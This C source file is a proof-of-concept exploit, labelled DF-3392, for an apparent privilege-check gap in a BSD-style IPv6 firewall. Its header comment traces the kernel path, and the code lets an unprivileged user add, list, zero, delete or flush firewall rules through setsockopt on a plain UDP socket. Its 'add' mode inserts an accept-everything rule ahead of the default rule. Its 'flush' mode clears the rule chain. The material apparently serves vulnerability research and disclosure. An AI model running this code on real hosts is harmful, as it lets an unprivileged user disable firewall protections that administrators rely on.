DF-3392 / ip6fw_ctl.c
/* * DF-3392 PoC: unprivileged IPv6 firewall (ip6fw) rule manipulation * via setsockopt(IPPROTO_IPV6, IPV6_FW_{ADD,GET,ZERO,DEL,FLUSH}) on a * plain datagram socket -- no privilege check anywhere on the path: * udp6 protosw pr_ctloutput = ip6_ctloutput_dispatch (in6_proto.c:142) * -> ip6_ctloutput() IPV6_FW_* cases (ip6_output.c:1534/1760) * -> ip6_fw_ctl() gated only by securelevel > 2 (ip6_fw.c:1119) * * usage: ip6fw_ctl add|get|zero|del|flush */ #include <sys/types.h> #include <sys/socket.h> #include <sys/queue.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "ip6_fw.h" static void dump_rules(int fd) { struct ip6_fw buf[512]; socklen_t len = sizeof(buf); int i, n; if (getsockopt(fd, IPPROTO_IPV6, IPV6_FW_GET, buf, &len) < 0) { warn("IPV6_FW_GET failed"); return; } n = len / sizeof(struct ip6_fw); printf("IPV6_FW_GET ok: %d rules, %lu bytes\n", n, (unsigned long)len); for (i = 0; i < n && i < 8; i++) printf(" rule #%u flags=0x%x prot=%d pcnt=%lu\n", buf[i].fw_number, buf[i].fw_flg, buf[i].fw_prot, (unsigned long)buf[i].fw_pcnt); } int main(int argc, char **argv) { struct ip6_fw rule; int fd, error = 0; if (argc < 2) errx(1, "usage: %s add|get|zero|del|flush", argv[0]); fd = socket(AF_INET6, SOCK_DGRAM, 0); if (fd < 0) err(1, "socket(AF_INET6, SOCK_DGRAM)"); if (strcmp(argv[1], "add") == 0) { memset(&rule, 0, sizeof(rule)); rule.fw_number = 1; /* before default 65535 */ rule.fw_flg = IPV6_FW_F_IN | IPV6_FW_F_OUT | IPV6_FW_F_ACCEPT; rule.fw_prot = IPPROTO_IPV6; /* wildcard protocol */ error = setsockopt(fd, IPPROTO_IPV6, IPV6_FW_ADD, &rule, sizeof(rule)); if (error < 0) warn("IPV6_FW_ADD failed"); else printf("IPV6_FW_ADD: ACCEPT-any rule #1 added, " "uid=%d, ret=0\n", getuid()); } else if (strcmp(argv[1], "get") == 0) { dump_rules(fd); } else if (strcmp(argv[1], "zero") == 0) { error = setsockopt(fd, IPPROTO_IPV6, IPV6_FW_ZERO, (void *)NULL, 0); if (error < 0) warn("IPV6_FW_ZERO failed"); else printf("IPV6_FW_ZERO: counters cleared, ret=0\n"); } else if (strcmp(argv[1], "del") == 0) { struct ip6_fw d; memset(&d, 0, sizeof(d)); d.fw_number = 1; error = setsockopt(fd, IPPROTO_IPV6, IPV6_FW_DEL, &d, sizeof(d)); if (error < 0) warn("IPV6_FW_DEL failed"); else printf("IPV6_FW_DEL: rule #1 deleted, ret=0\n"); } else if (strcmp(argv[1], "flush") == 0) { error = setsockopt(fd, IPPROTO_IPV6, IPV6_FW_FLUSH, (void *)NULL, 0); if (error < 0) warn("IPV6_FW_FLUSH failed"); else printf("IPV6_FW_FLUSH: chain flushed (default kept), " "ret=0\n"); } close(fd); return (error ? 1 : 0); } |